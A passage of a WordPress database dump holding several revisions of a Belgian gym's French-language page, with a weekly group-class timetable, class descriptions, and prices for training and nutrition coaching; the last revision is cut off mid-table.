(352, 1, '2013-10-05 08:53:02', '2013-10-05 08:53:02', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background:#F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:53:02', '2013-10-05 08:53:02', '', 11, 'http://www.crosstrainingcenter.be/11-revision-123/', 0, 'revision', '', 0),
(353, 1, '2013-10-05 08:54:27', '2013-10-05 08:54:27', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background:#F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background:#E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background:#A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background:#A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:54:27', '2013-10-05 08:54:27', '', 11, 'http://www.crosstrainingcenter.be/11-revision-124/', 0, 'revision', '', 0),
(354, 1, '2013-10-05 08:55:15', '2013-10-05 08:55:15', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background:#F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background:#E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background:#A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background:#A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:55:15', '2013-10-05 08:55:15', '', 11, 'http://www.crosstrainingcenter.be/11-revision-125/', 0, 'revision', '', 0),
(356, 1, '2013-10-05 08:55:37', '2013-10-05 08:55:37', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td 